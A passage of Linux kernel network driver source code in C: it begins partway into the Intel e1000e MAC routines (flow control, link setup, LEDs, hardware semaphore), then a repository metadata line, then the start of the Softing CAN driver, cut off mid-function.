auto- * negotiation. However, if auto-negotiation is disabled, then * software will have to manually configure the two flow control enable * bits in the CTRL register. * * The possible values of the "fc" parameter are: * 0: Flow control is completely disabled * 1: Rx flow control is enabled (we can receive pause frames, * but not send pause frames). * 2: Tx flow control is enabled (we can send pause frames but we * do not support receiving pause frames). * 3: Both Rx and Tx flow control (symmetric) are enabled. */ switch (hw->fc.current_mode) { case e1000_fc_none: /* Flow control completely disabled by a software over-ride. */ txcw = (E1000_TXCW_ANE | E1000_TXCW_FD); break; case e1000_fc_rx_pause: /* * Rx Flow control is enabled and Tx Flow control is disabled * by a software over-ride. Since there really isn't a way to * advertise that we are capable of Rx Pause ONLY, we will * advertise that we support both symmetric and asymmetric Rx * PAUSE. Later, we will disable the adapter's ability to send * PAUSE frames. */ txcw = (E1000_TXCW_ANE | E1000_TXCW_FD | E1000_TXCW_PAUSE_MASK); break; case e1000_fc_tx_pause: /* * Tx Flow control is enabled, and Rx Flow control is disabled, * by a software over-ride. */ txcw = (E1000_TXCW_ANE | E1000_TXCW_FD | E1000_TXCW_ASM_DIR); break; case e1000_fc_full: /* * Flow control (both Rx and Tx) is enabled by a software * over-ride. */ txcw = (E1000_TXCW_ANE | E1000_TXCW_FD | E1000_TXCW_PAUSE_MASK); break; default: e_dbg("Flow control param set incorrectly\n"); return -E1000_ERR_CONFIG; break; } ew32(TXCW, txcw); mac->txcw = txcw; return 0; } /** * e1000_poll_fiber_serdes_link_generic - Poll for link up * @hw: pointer to the HW structure * * Polls for link up by reading the status register, if link fails to come * up with auto-negotiation, then the link is forced if a signal is detected. **/ static s32 e1000_poll_fiber_serdes_link_generic(struct e1000_hw *hw) { struct e1000_mac_info *mac = &hw->mac; u32 i, status; s32 ret_val; /* * If we have a signal (the cable is plugged in, or assumed true for * serdes media) then poll for a "Link-Up" indication in the Device * Status Register. Time-out if a link isn't seen in 500 milliseconds * seconds (Auto-negotiation should complete in less than 500 * milliseconds even if the other end is doing it in SW). */ for (i = 0; i < FIBER_LINK_UP_LIMIT; i++) { usleep_range(10000, 20000); status = er32(STATUS); if (status & E1000_STATUS_LU) break; } if (i == FIBER_LINK_UP_LIMIT) { e_dbg("Never got a valid link from auto-neg!!!\n"); mac->autoneg_failed = true; /* * AutoNeg failed to achieve a link, so we'll call * mac->check_for_link. This routine will force the * link up if we detect a signal. This will allow us to * communicate with non-autonegotiating link partners. */ ret_val = mac->ops.check_for_link(hw); if (ret_val) { e_dbg("Error while checking for link\n"); return ret_val; } mac->autoneg_failed = false; } else { mac->autoneg_failed = false; e_dbg("Valid Link Found\n"); } return 0; } /** * e1000e_setup_fiber_serdes_link - Setup link for fiber/serdes * @hw: pointer to the HW structure * * Configures collision distance and flow control for fiber and serdes * links. Upon successful setup, poll for link. **/ s32 e1000e_setup_fiber_serdes_link(struct e1000_hw *hw) { u32 ctrl; s32 ret_val; ctrl = er32(CTRL); /* Take the link out of reset */ ctrl &= ~E1000_CTRL_LRST; hw->mac.ops.config_collision_dist(hw); ret_val = e1000_commit_fc_settings_generic(hw); if (ret_val) return ret_val; /* * Since auto-negotiation is enabled, take the link out of reset (the * link will be in reset, because we previously reset the chip). This * will restart auto-negotiation. If auto-negotiation is successful * then the link-up status bit will be set and the flow control enable * bits (RFCE and TFCE) will be set according to their negotiated value. */ e_dbg("Auto-negotiation enabled\n"); ew32(CTRL, ctrl); e1e_flush(); usleep_range(1000, 2000); /* * For these adapters, the SW definable pin 1 is set when the optics * detect a signal. If we have a signal, then poll for a "Link-Up" * indication. */ if (hw->phy.media_type == e1000_media_type_internal_serdes || (er32(CTRL) & E1000_CTRL_SWDPIN1)) { ret_val = e1000_poll_fiber_serdes_link_generic(hw); } else { e_dbg("No signal detected\n"); } return ret_val; } /** * e1000e_config_collision_dist_generic - Configure collision distance * @hw: pointer to the HW structure * * Configures the collision distance to the default value and is used * during link setup. **/ void e1000e_config_collision_dist_generic(struct e1000_hw *hw) { u32 tctl; tctl = er32(TCTL); tctl &= ~E1000_TCTL_COLD; tctl |= E1000_COLLISION_DISTANCE << E1000_COLD_SHIFT; ew32(TCTL, tctl); e1e_flush(); } /** * e1000e_set_fc_watermarks - Set flow control high/low watermarks * @hw: pointer to the HW structure * * Sets the flow control high/low threshold (watermark) registers. If * flow control XON frame transmission is enabled, then set XON frame * transmission as well. **/ s32 e1000e_set_fc_watermarks(struct e1000_hw *hw) { u32 fcrtl = 0, fcrth = 0; /* * Set the flow control receive threshold registers. Normally, * these registers will be set to a default threshold that may be * adjusted later by the driver's runtime code. However, if the * ability to transmit pause frames is not enabled, then these * registers will be set to 0. */ if (hw->fc.current_mode & e1000_fc_tx_pause) { /* * We need to set up the Receive Threshold high and low water * marks as well as (optionally) enabling the transmission of * XON frames. */ fcrtl = hw->fc.low_water; if (hw->fc.send_xon) fcrtl |= E1000_FCRTL_XONE; fcrth = hw->fc.high_water; } ew32(FCRTL, fcrtl); ew32(FCRTH, fcrth); return 0; } /** * e1000e_force_mac_fc - Force the MAC's flow control settings * @hw: pointer to the HW structure * * Force the MAC's flow control settings. Sets the TFCE and RFCE bits in the * device control register to reflect the adapter settings. TFCE and RFCE * need to be explicitly set by software when a copper PHY is used because * autonegotiation is managed by the PHY rather than the MAC. Software must * also configure these bits when link is forced on a fiber connection. **/ s32 e1000e_force_mac_fc(struct e1000_hw *hw) { u32 ctrl; ctrl = er32(CTRL); /* * Because we didn't get link via the internal auto-negotiation * mechanism (we either forced link or we got link via PHY * auto-neg), we have to manually enable/disable transmit an * receive flow control. * * The "Case" statement below enables/disable flow control * according to the "hw->fc.current_mode" parameter. * * The possible values of the "fc" parameter are: * 0: Flow control is completely disabled * 1: Rx flow control is enabled (we can receive pause * frames but not send pause frames). * 2: Tx flow control is enabled (we can send pause frames * frames but we do not receive pause frames). * 3: Both Rx and Tx flow control (symmetric) is enabled. * other: No other values should be possible at this point. */ e_dbg("hw->fc.current_mode = %u\n", hw->fc.current_mode); switch (hw->fc.current_mode) { case e1000_fc_none: ctrl &= (~(E1000_CTRL_TFCE | E1000_CTRL_RFCE)); break; case e1000_fc_rx_pause: ctrl &= (~E1000_CTRL_TFCE); ctrl |= E1000_CTRL_RFCE; break; case e1000_fc_tx_pause: ctrl &= (~E1000_CTRL_RFCE); ctrl |= E1000_CTRL_TFCE; break; case e1000_fc_full: ctrl |= (E1000_CTRL_TFCE | E1000_CTRL_RFCE); break; default: e_dbg("Flow control param set incorrectly\n"); return -E1000_ERR_CONFIG; } ew32(CTRL, ctrl); return 0; } /** * e1000e_config_fc_after_link_up - Configures flow control after link * @hw: pointer to the HW structure * * Checks the status of auto-negotiation after link up to ensure that the * speed and duplex were not forced. If the link needed to be forced, then * flow control needs to be forced also. If auto-negotiation is enabled * and did not fail, then we configure flow control based on our link * partner. **/ s32 e1000e_config_fc_after_link_up(struct e1000_hw *hw) { struct e1000_mac_info *mac = &hw->mac; s32 ret_val = 0; u16 mii_status_reg, mii_nway_adv_reg, mii_nway_lp_ability_reg; u16 speed, duplex; /* * Check for the case where we have fiber media and auto-neg failed * so we had to force link. In this case, we need to force the * configuration of the MAC to match the "fc" parameter. */ if (mac->autoneg_failed) { if (hw->phy.media_type == e1000_media_type_fiber || hw->phy.media_type == e1000_media_type_internal_serdes) ret_val = e1000e_force_mac_fc(hw); } else { if (hw->phy.media_type == e1000_media_type_copper) ret_val = e1000e_force_mac_fc(hw); } if (ret_val) { e_dbg("Error forcing flow control settings\n"); return ret_val; } /* * Check for the case where we have copper media and auto-neg is * enabled. In this case, we need to check and see if Auto-Neg * has completed, and if so, how the PHY and link partner has * flow control configured. */ if ((hw->phy.media_type == e1000_media_type_copper) && mac->autoneg) { /* * Read the MII Status Register and check to see if AutoNeg * has completed. We read this twice because this reg has * some "sticky" (latched) bits. */ ret_val = e1e_rphy(hw, PHY_STATUS, &mii_status_reg); if (ret_val) return ret_val; ret_val = e1e_rphy(hw, PHY_STATUS, &mii_status_reg); if (ret_val) return ret_val; if (!(mii_status_reg & MII_SR_AUTONEG_COMPLETE)) { e_dbg("Copper PHY and Auto Neg has not completed.\n"); return ret_val; } /* * The AutoNeg process has completed, so we now need to * read both the Auto Negotiation Advertisement * Register (Address 4) and the Auto_Negotiation Base * Page Ability Register (Address 5) to determine how * flow control was negotiated. */ ret_val = e1e_rphy(hw, PHY_AUTONEG_ADV, &mii_nway_adv_reg); if (ret_val) return ret_val; ret_val = e1e_rphy(hw, PHY_LP_ABILITY, &mii_nway_lp_ability_reg); if (ret_val) return ret_val; /* * Two bits in the Auto Negotiation Advertisement Register * (Address 4) and two bits in the Auto Negotiation Base * Page Ability Register (Address 5) determine flow control * for both the PHY and the link partner. The following * table, taken out of the IEEE 802.3ab/D6.0 dated March 25, * 1999, describes these PAUSE resolution bits and how flow * control is determined based upon these settings. * NOTE: DC = Don't Care * * LOCAL DEVICE | LINK PARTNER * PAUSE | ASM_DIR | PAUSE | ASM_DIR | NIC Resolution *-------|---------|-------|---------|-------------------- * 0 | 0 | DC | DC | e1000_fc_none * 0 | 1 | 0 | DC | e1000_fc_none * 0 | 1 | 1 | 0 | e1000_fc_none * 0 | 1 | 1 | 1 | e1000_fc_tx_pause * 1 | 0 | 0 | DC | e1000_fc_none * 1 | DC | 1 | DC | e1000_fc_full * 1 | 1 | 0 | 0 | e1000_fc_none * 1 | 1 | 0 | 1 | e1000_fc_rx_pause * * Are both PAUSE bits set to 1? If so, this implies * Symmetric Flow Control is enabled at both ends. The * ASM_DIR bits are irrelevant per the spec. * * For Symmetric Flow Control: * * LOCAL DEVICE | LINK PARTNER * PAUSE | ASM_DIR | PAUSE | ASM_DIR | Result *-------|---------|-------|---------|-------------------- * 1 | DC | 1 | DC | E1000_fc_full * */ if ((mii_nway_adv_reg & NWAY_AR_PAUSE) && (mii_nway_lp_ability_reg & NWAY_LPAR_PAUSE)) { /* * Now we need to check if the user selected Rx ONLY * of pause frames. In this case, we had to advertise * FULL flow control because we could not advertise Rx * ONLY. Hence, we must now check to see if we need to * turn OFF the TRANSMISSION of PAUSE frames. */ if (hw->fc.requested_mode == e1000_fc_full) { hw->fc.current_mode = e1000_fc_full; e_dbg("Flow Control = FULL.\n"); } else { hw->fc.current_mode = e1000_fc_rx_pause; e_dbg("Flow Control = Rx PAUSE frames only.\n"); } } /* * For receiving PAUSE frames ONLY. * * LOCAL DEVICE | LINK PARTNER * PAUSE | ASM_DIR | PAUSE | ASM_DIR | Result *-------|---------|-------|---------|-------------------- * 0 | 1 | 1 | 1 | e1000_fc_tx_pause */ else if (!(mii_nway_adv_reg & NWAY_AR_PAUSE) && (mii_nway_adv_reg & NWAY_AR_ASM_DIR) && (mii_nway_lp_ability_reg & NWAY_LPAR_PAUSE) && (mii_nway_lp_ability_reg & NWAY_LPAR_ASM_DIR)) { hw->fc.current_mode = e1000_fc_tx_pause; e_dbg("Flow Control = Tx PAUSE frames only.\n"); } /* * For transmitting PAUSE frames ONLY. * * LOCAL DEVICE | LINK PARTNER * PAUSE | ASM_DIR | PAUSE | ASM_DIR | Result *-------|---------|-------|---------|-------------------- * 1 | 1 | 0 | 1 | e1000_fc_rx_pause */ else if ((mii_nway_adv_reg & NWAY_AR_PAUSE) && (mii_nway_adv_reg & NWAY_AR_ASM_DIR) && !(mii_nway_lp_ability_reg & NWAY_LPAR_PAUSE) && (mii_nway_lp_ability_reg & NWAY_LPAR_ASM_DIR)) { hw->fc.current_mode = e1000_fc_rx_pause; e_dbg("Flow Control = Rx PAUSE frames only.\n"); } else { /* * Per the IEEE spec, at this point flow control * should be disabled. */ hw->fc.current_mode = e1000_fc_none; e_dbg("Flow Control = NONE.\n"); } /* * Now we need to do one last check... If we auto- * negotiated to HALF DUPLEX, flow control should not be * enabled per IEEE 802.3 spec. */ ret_val = mac->ops.get_link_up_info(hw, &speed, &duplex); if (ret_val) { e_dbg("Error getting link speed and duplex\n"); return ret_val; } if (duplex == HALF_DUPLEX) hw->fc.current_mode = e1000_fc_none; /* * Now we call a subroutine to actually force the MAC * controller to use the correct flow control settings. */ ret_val = e1000e_force_mac_fc(hw); if (ret_val) { e_dbg("Error forcing flow control settings\n"); return ret_val; } } return 0; } /** * e1000e_get_speed_and_duplex_copper - Retrieve current speed/duplex * @hw: pointer to the HW structure * @speed: stores the current speed * @duplex: stores the current duplex * * Read the status register for the current speed/duplex and store the current * speed and duplex for copper connections. **/ s32 e1000e_get_speed_and_duplex_copper(struct e1000_hw *hw, u16 *speed, u16 *duplex) { u32 status; status = er32(STATUS); if (status & E1000_STATUS_SPEED_1000) *speed = SPEED_1000; else if (status & E1000_STATUS_SPEED_100) *speed = SPEED_100; else *speed = SPEED_10; if (status & E1000_STATUS_FD) *duplex = FULL_DUPLEX; else *duplex = HALF_DUPLEX; e_dbg("%u Mbps, %s Duplex\n", *speed == SPEED_1000 ? 1000 : *speed == SPEED_100 ? 100 : 10, *duplex == FULL_DUPLEX ? "Full" : "Half"); return 0; } /** * e1000e_get_speed_and_duplex_fiber_serdes - Retrieve current speed/duplex * @hw: pointer to the HW structure * @speed: stores the current speed * @duplex: stores the current duplex * * Sets the speed and duplex to gigabit full duplex (the only possible option) * for fiber/serdes links. **/ s32 e1000e_get_speed_and_duplex_fiber_serdes(struct e1000_hw *hw, u16 *speed, u16 *duplex) { *speed = SPEED_1000; *duplex = FULL_DUPLEX; return 0; } /** * e1000e_get_hw_semaphore - Acquire hardware semaphore * @hw: pointer to the HW structure * * Acquire the HW semaphore to access the PHY or NVM **/ s32 e1000e_get_hw_semaphore(struct e1000_hw *hw) { u32 swsm; s32 timeout = hw->nvm.word_size + 1; s32 i = 0; /* Get the SW semaphore */ while (i < timeout) { swsm = er32(SWSM); if (!(swsm & E1000_SWSM_SMBI)) break; udelay(50); i++; } if (i == timeout) { e_dbg("Driver can't access device - SMBI bit is set.\n"); return -E1000_ERR_NVM; } /* Get the FW semaphore. */ for (i = 0; i < timeout; i++) { swsm = er32(SWSM); ew32(SWSM, swsm | E1000_SWSM_SWESMBI); /* Semaphore acquired if bit latched */ if (er32(SWSM) & E1000_SWSM_SWESMBI) break; udelay(50); } if (i == timeout) { /* Release semaphores */ e1000e_put_hw_semaphore(hw); e_dbg("Driver can't access the NVM\n"); return -E1000_ERR_NVM; } return 0; } /** * e1000e_put_hw_semaphore - Release hardware semaphore * @hw: pointer to the HW structure * * Release hardware semaphore used to access the PHY or NVM **/ void e1000e_put_hw_semaphore(struct e1000_hw *hw) { u32 swsm; swsm = er32(SWSM); swsm &= ~(E1000_SWSM_SMBI | E1000_SWSM_SWESMBI); ew32(SWSM, swsm); } /** * e1000e_get_auto_rd_done - Check for auto read completion * @hw: pointer to the HW structure * * Check EEPROM for Auto Read done bit. **/ s32 e1000e_get_auto_rd_done(struct e1000_hw *hw) { s32 i = 0; while (i < AUTO_READ_DONE_TIMEOUT) { if (er32(EECD) & E1000_EECD_AUTO_RD) break; usleep_range(1000, 2000); i++; } if (i == AUTO_READ_DONE_TIMEOUT) { e_dbg("Auto read by HW from NVM has not completed.\n"); return -E1000_ERR_RESET; } return 0; } /** * e1000e_valid_led_default - Verify a valid default LED config * @hw: pointer to the HW structure * @data: pointer to the NVM (EEPROM) * * Read the EEPROM for the current default LED configuration. If the * LED configuration is not valid, set to a valid LED configuration. **/ s32 e1000e_valid_led_default(struct e1000_hw *hw, u16 *data) { s32 ret_val; ret_val = e1000_read_nvm(hw, NVM_ID_LED_SETTINGS, 1, data); if (ret_val) { e_dbg("NVM Read Error\n"); return ret_val; } if (*data == ID_LED_RESERVED_0000 || *data == ID_LED_RESERVED_FFFF) *data = ID_LED_DEFAULT; return 0; } /** * e1000e_id_led_init_generic - * @hw: pointer to the HW structure * **/ s32 e1000e_id_led_init_generic(struct e1000_hw *hw) { struct e1000_mac_info *mac = &hw->mac; s32 ret_val; const u32 ledctl_mask = 0x000000FF; const u32 ledctl_on = E1000_LEDCTL_MODE_LED_ON; const u32 ledctl_off = E1000_LEDCTL_MODE_LED_OFF; u16 data, i, temp; const u16 led_mask = 0x0F; ret_val = hw->nvm.ops.valid_led_default(hw, &data); if (ret_val) return ret_val; mac->ledctl_default = er32(LEDCTL); mac->ledctl_mode1 = mac->ledctl_default; mac->ledctl_mode2 = mac->ledctl_default; for (i = 0; i < 4; i++) { temp = (data >> (i << 2)) & led_mask; switch (temp) { case ID_LED_ON1_DEF2: case ID_LED_ON1_ON2: case ID_LED_ON1_OFF2: mac->ledctl_mode1 &= ~(ledctl_mask << (i << 3)); mac->ledctl_mode1 |= ledctl_on << (i << 3); break; case ID_LED_OFF1_DEF2: case ID_LED_OFF1_ON2: case ID_LED_OFF1_OFF2: mac->ledctl_mode1 &= ~(ledctl_mask << (i << 3)); mac->ledctl_mode1 |= ledctl_off << (i << 3); break; default: /* Do nothing */ break; } switch (temp) { case ID_LED_DEF1_ON2: case ID_LED_ON1_ON2: case ID_LED_OFF1_ON2: mac->ledctl_mode2 &= ~(ledctl_mask << (i << 3)); mac->ledctl_mode2 |= ledctl_on << (i << 3); break; case ID_LED_DEF1_OFF2: case ID_LED_ON1_OFF2: case ID_LED_OFF1_OFF2: mac->ledctl_mode2 &= ~(ledctl_mask << (i << 3)); mac->ledctl_mode2 |= ledctl_off << (i << 3); break; default: /* Do nothing */ break; } } return 0; } /** * e1000e_setup_led_generic - Configures SW controllable LED * @hw: pointer to the HW structure * * This prepares the SW controllable LED for use and saves the current state * of the LED so it can be later restored. **/ s32 e1000e_setup_led_generic(struct e1000_hw *hw) { u32 ledctl; if (hw->mac.ops.setup_led != e1000e_setup_led_generic) return -E1000_ERR_CONFIG; if (hw->phy.media_type == e1000_media_type_fiber) { ledctl = er32(LEDCTL); hw->mac.ledctl_default = ledctl; /* Turn off LED0 */ ledctl &= ~(E1000_LEDCTL_LED0_IVRT | E1000_LEDCTL_LED0_BLINK | E1000_LEDCTL_LED0_MODE_MASK); ledctl |= (E1000_LEDCTL_MODE_LED_OFF << E1000_LEDCTL_LED0_MODE_SHIFT); ew32(LEDCTL, ledctl); } else if (hw->phy.media_type == e1000_media_type_copper) { ew32(LEDCTL, hw->mac.ledctl_mode1); } return 0; } /** * e1000e_cleanup_led_generic - Set LED config to default operation * @hw: pointer to the HW structure * * Remove the current LED configuration and set the LED configuration * to the default value, saved from the EEPROM. **/ s32 e1000e_cleanup_led_generic(struct e1000_hw *hw) { ew32(LEDCTL, hw->mac.ledctl_default); return 0; } /** * e1000e_blink_led_generic - Blink LED * @hw: pointer to the HW structure * * Blink the LEDs which are set to be on. **/ s32 e1000e_blink_led_generic(struct e1000_hw *hw) { u32 ledctl_blink = 0; u32 i; if (hw->phy.media_type == e1000_media_type_fiber) { /* always blink LED0 for PCI-E fiber */ ledctl_blink = E1000_LEDCTL_LED0_BLINK | (E1000_LEDCTL_MODE_LED_ON << E1000_LEDCTL_LED0_MODE_SHIFT); } else { /* * set the blink bit for each LED that's "on" (0x0E) * in ledctl_mode2 */ ledctl_blink = hw->mac.ledctl_mode2; for (i = 0; i < 4; i++) if (((hw->mac.ledctl_mode2 >> (i * 8)) & 0xFF) == E1000_LEDCTL_MODE_LED_ON) ledctl_blink |= (E1000_LEDCTL_LED0_BLINK << (i * 8)); } ew32(LEDCTL, ledctl_blink); return 0; } /** * e1000e_led_on_generic - Turn LED on * @hw: pointer to the HW structure * * Turn LED on. **/ s32 e1000e_led_on_generic(struct e1000_hw *hw) { u32 ctrl; switch (hw->phy.media_type) { case e1000_media_type_fiber: ctrl = er32(CTRL); ctrl &= ~E1000_CTRL_SWDPIN0; ctrl |= E1000_CTRL_SWDPIO0; ew32(CTRL, ctrl); break; case e1000_media_type_copper: ew32(LEDCTL, hw->mac.ledctl_mode2); break; default: break; } return 0; } /** * e1000e_led_off_generic - Turn LED off * @hw: pointer to the HW structure * * Turn LED off. **/ s32 e1000e_led_off_generic(struct e1000_hw *hw) { u32 ctrl; switch (hw->phy.media_type) { case e1000_media_type_fiber: ctrl = er32(CTRL); ctrl |= E1000_CTRL_SWDPIN0; ctrl |= E1000_CTRL_SWDPIO0; ew32(CTRL, ctrl); break; case e1000_media_type_copper: ew32(LEDCTL, hw->mac.ledctl_mode1); break; default: break; } return 0; } /** * e1000e_set_pcie_no_snoop - Set PCI-express capabilities * @hw: pointer to the HW structure * @no_snoop: bitmap of snoop events * * Set the PCI-express register to snoop for events enabled in 'no_snoop'. **/ void e1000e_set_pcie_no_snoop(struct e1000_hw *hw, u32 no_snoop) { u32 gcr; if (no_snoop) { gcr = er32(GCR); gcr &= ~(PCIE_NO_SNOOP_ALL); gcr |= no_snoop; ew32(GCR, gcr); } } /** * e1000e_disable_pcie_master - Disables PCI-express master access * @hw: pointer to the HW structure * * Returns 0 if successful, else returns -10 * (-E1000_ERR_MASTER_REQUESTS_PENDING) if master disable bit has not caused * the master requests to be disabled. * * Disables PCI-Express master access and verifies there are no pending * requests. **/ s32 e1000e_disable_pcie_master(struct e1000_hw *hw) { u32 ctrl; s32 timeout = MASTER_DISABLE_TIMEOUT; ctrl = er32(CTRL); ctrl |= E1000_CTRL_GIO_MASTER_DISABLE; ew32(CTRL, ctrl); while (timeout) { if (!(er32(STATUS) & E1000_STATUS_GIO_MASTER_ENABLE)) break; udelay(100); timeout--; } if (!timeout) { e_dbg("Master requests are pending.\n"); return -E1000_ERR_MASTER_REQUESTS_PENDING; } return 0; } /** * e1000e_reset_adaptive - Reset Adaptive Interframe Spacing * @hw: pointer to the HW structure * * Reset the Adaptive Interframe Spacing throttle to default values. **/ void e1000e_reset_adaptive(struct e1000_hw *hw) { struct e1000_mac_info *mac = &hw->mac; if (!mac->adaptive_ifs) { e_dbg("Not in Adaptive IFS mode!\n"); return; } mac->current_ifs_val = 0; mac->ifs_min_val = IFS_MIN; mac->ifs_max_val = IFS_MAX; mac->ifs_step_size = IFS_STEP; mac->ifs_ratio = IFS_RATIO; mac->in_ifs_mode = false; ew32(AIT, 0); } /** * e1000e_update_adaptive - Update Adaptive Interframe Spacing * @hw: pointer to the HW structure * * Update the Adaptive Interframe Spacing Throttle value based on the * time between transmitted packets and time between collisions. **/ void e1000e_update_adaptive(struct e1000_hw *hw) { struct e1000_mac_info *mac = &hw->mac; if (!mac->adaptive_ifs) { e_dbg("Not in Adaptive IFS mode!\n"); return; } if ((mac->collision_delta * mac->ifs_ratio) > mac->tx_packet_delta) { if (mac->tx_packet_delta > MIN_NUM_XMITS) { mac->in_ifs_mode = true; if (mac->current_ifs_val < mac->ifs_max_val) { if (!mac->current_ifs_val) mac->current_ifs_val = mac->ifs_min_val; else mac->current_ifs_val += mac->ifs_step_size; ew32(AIT, mac->current_ifs_val); } } } else { if (mac->in_ifs_mode && (mac->tx_packet_delta <= MIN_NUM_XMITS)) { mac->current_ifs_val = 0; mac->in_ifs_mode = false; ew32(AIT, 0); } } }
penreturns/AK-OnePone
drivers/net/ethernet/intel/e1000e/mac.c
C
gpl-2.0
47,909
/* * Copyright (C) 2008-2010 * * - Kurt Van Dijck, EIA Electronics * * This program is free software; you can redistribute it and/or modify * it under the terms of the version 2 of the GNU General Public License * as published by the Free Software Foundation * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include <linux/version.h> #include <linux/module.h> #include <linux/init.h> #include <linux/interrupt.h> #include "softing.h" #define TX_ECHO_SKB_MAX (((TXMAX+1)/2)-1) /* * test is a specific CAN netdev * is online (ie. up 'n running, not sleeping, not busoff */ static inline int canif_is_active(struct net_device *netdev) { struct can_priv *can = netdev_priv(netdev); if (!netif_running(netdev)) return 0; return (can->state <= CAN_STATE_ERROR_PASSIVE); } /* reset DPRAM */ static inline void softing_set_reset_dpram(struct softing *card) { if (card->pdat->generation >= 2) { spin_lock_bh(&card->spin); iowrite8(ioread8(&card->dpram[DPRAM_V2_RESET]) & ~1, &card->dpram[DPRAM_V2_RESET]); spin_unlock_bh(&card->spin); } } static inline void softing_clr_reset_dpram(struct softing *card) { if (card->pdat->generation >= 2) { spin_lock_bh(&card->spin); iowrite8(ioread8(&card->dpram[DPRAM_V2_RESET]) | 1, &card->dpram[DPRAM_V2_RESET]); spin_unlock_bh(&card->spin); } } /* trigger the tx queue-ing */ static netdev_tx_t softing_netdev_start_xmit(struct sk_buff *skb, struct net_device *dev) { struct softing_priv *priv = netdev_priv(dev); struct softing *card = priv->card; int ret; uint8_t *ptr; uint8_t fifo_wr, fifo_rd; struct can_frame *cf = (struct can_frame *)skb->data; uint8_t buf[DPRAM_TX_SIZE]; if (can_dropped_invalid_skb(dev, skb)) return NETDEV_TX_OK; spin_lock(&card->spin); ret = NETDEV_TX_BUSY; if (!card->fw.up || (card->tx.pending >= TXMAX) || (priv->tx.pending >= TX_ECHO_SKB_MAX)) goto xmit_done; fifo_wr = ioread8(&card->dpram[DPRAM_TX_WR]); fifo_rd = ioread8(&card->dpram[DPRAM_TX_RD]); if (fifo_wr == fifo_rd) /* fifo full */ goto xmit_done; memset(buf, 0, sizeof(buf)); ptr = buf; *ptr = CMD_TX; if (cf->can_id & CAN_RTR_FLAG) *ptr |= CMD_RTR; if (cf->can_id & CAN_EFF_FLAG) *ptr |= CMD_XTD; if (priv->index) *ptr |= CMD_BUS2; ++ptr; *ptr++ = cf->can_dlc; *ptr++ = (cf->can_id >> 0); *ptr++ = (cf->can_id >> 8); if (cf->can_id & CAN_EFF_FLAG) { *ptr++ = (cf->can_id >> 16); *ptr++ = (cf->can_id >> 24); } else { /* increment 1, not 2 as you might think */ ptr += 1; } if (!(cf->can_id & CAN_RTR_FLAG)) memcpy(ptr, &cf->data[0], cf->can_dlc); memcpy_toio(&card->dpram[DPRAM_TX + DPRAM_TX_SIZE * fifo_wr], buf, DPRAM_TX_SIZE); if (++fifo_wr >= DPRAM_TX_CNT) fifo_wr = 0; iowrite8(fifo_wr, &card->dpram[DPRAM_TX_WR]); card->tx.last_bus = priv->index; ++card->tx.pending; ++priv->tx.pending; can_put_echo_skb(skb, dev, priv->tx.echo_put); ++priv->tx.echo_put; if (priv->tx.echo_put >= TX_ECHO_SKB_MAX) priv->tx.echo_put = 0; /* can_put_echo_skb() saves the skb, safe to return TX_OK */ ret = NETDEV_TX_OK; xmit_done: spin_unlock(&card->spin); if (card->tx.pending >= TXMAX) { int j; for (j = 0; j < ARRAY_SIZE(card->net); ++j) { if (card->net[j]) netif_stop_queue(card->net[j]); } } if (ret != NETDEV_TX_OK) netif_stop_queue(dev); return ret; } /* * shortcut for skb delivery */ int softing_netdev_rx(struct net_device *netdev, const struct can_frame *msg, ktime_t ktime) { struct sk_buff *skb; struct can_frame *cf; skb = alloc_can_skb(netdev, &cf); if (!skb) return -ENOMEM; memcpy(cf, msg, sizeof(*msg)); skb->tstamp = ktime; return netif_rx(skb); } /* * softing_handle_1 * pop 1 entry from the DPRAM queue, and process */ static int softing_handle_1(struct softing *card) { struct net_device *netdev; struct softing_priv *priv; ktime_t ktime; struct can_frame msg; int cnt = 0, lost_msg; uint8_t fifo_rd, fifo_wr, cmd; uint8_t *ptr; uint32_t tmp_u32; uint8_t buf[DPRAM_RX_SIZE]; memset(&msg, 0, sizeof(msg)); /* test for lost msgs */ lost_msg = ioread8(&card->dpram[DPRAM_RX_LOST]); if (lost_msg) { int j; /* reset condition */ iowrite8(0, &card->dpram[DPRAM_RX_LOST]); /* prepare msg */ msg.can_id = CAN_ERR_FLAG | CAN_ERR_CRTL; msg.can_dlc = CAN_ERR_DLC; msg.data[1] = CAN_ERR_CRTL_RX_OVERFLOW; /* * service to all busses, we don't know which it was applicable * but only service busses that are online */ for (j = 0; j < ARRAY_SIZE(card->net); ++j) { netdev = card->net[j]; if (!netdev) continue; if (!canif_is_active(netdev)) /* a dead bus has no overflows */ continue; ++netdev->stats.rx_over_errors; softing_netdev_rx(netdev, &msg, ktime_set(0, 0)); } /* prepare for other use */ memset(&msg, 0, sizeof(msg)); ++cnt; } fifo_rd = ioread8(&card->dpram[DPRAM_RX_RD]); fifo_wr = ioread8(&card->dpram[DPRAM_RX_WR]); if (++fifo_rd >= DPRAM_RX_CNT) fifo_rd = 0; if (fifo_wr == fifo_rd) return cnt; memcpy_fromio(buf, &card->dpram[DPRAM_RX + DPRAM_RX_SIZE*fifo_rd], DPRAM_RX_SIZE); mb(); /* trigger dual port RAM */ iowrite8(fifo_rd, &card->dpram[DPRAM_RX_RD]); ptr = buf; cmd = *ptr++; if (cmd == 0xff) /* not quite useful, probably the card has got out */ return 0; netdev = card->net[0]; if (cmd & CMD_BUS2) netdev = card->net[1]; priv = netdev_priv(netdev); if (cmd & CMD_ERR) { uint8_t can_state, state; state = *ptr++; msg.can_id = CAN_ERR_FLAG; msg.can_dlc = CAN_ERR_DLC; if (state & SF_MASK_BUSOFF) { can_state = CAN_STATE_BUS_OFF; msg.can_id |= CAN_ERR_BUSOFF; state = STATE_BUSOFF; } else if (state & SF_MASK_EPASSIVE) { can_state = CAN_STATE_ERROR_PASSIVE; msg.can_id |= CAN_ERR_CRTL; msg.data[1] = CAN_ERR_CRTL_TX_PASSIVE; state = STATE_EPASSIVE; } else { can_state = CAN_STATE_ERROR_ACTIVE; msg.can_id |= CAN_ERR_CRTL; state = STATE_EACTIVE; } /* update DPRAM */ iowrite8(state, &card->dpram[priv->index ? DPRAM_INFO_BUSSTATE2 : DPRAM_INFO_BUSSTATE]); /* timestamp */ tmp_u32 = le32_to_cpup((void *)ptr); ptr += 4; ktime = softing_raw2ktime(card, tmp_u32); ++netdev->stats.rx_errors; /* update internal status */ if (can_state != priv->can.state) { priv->can.state = 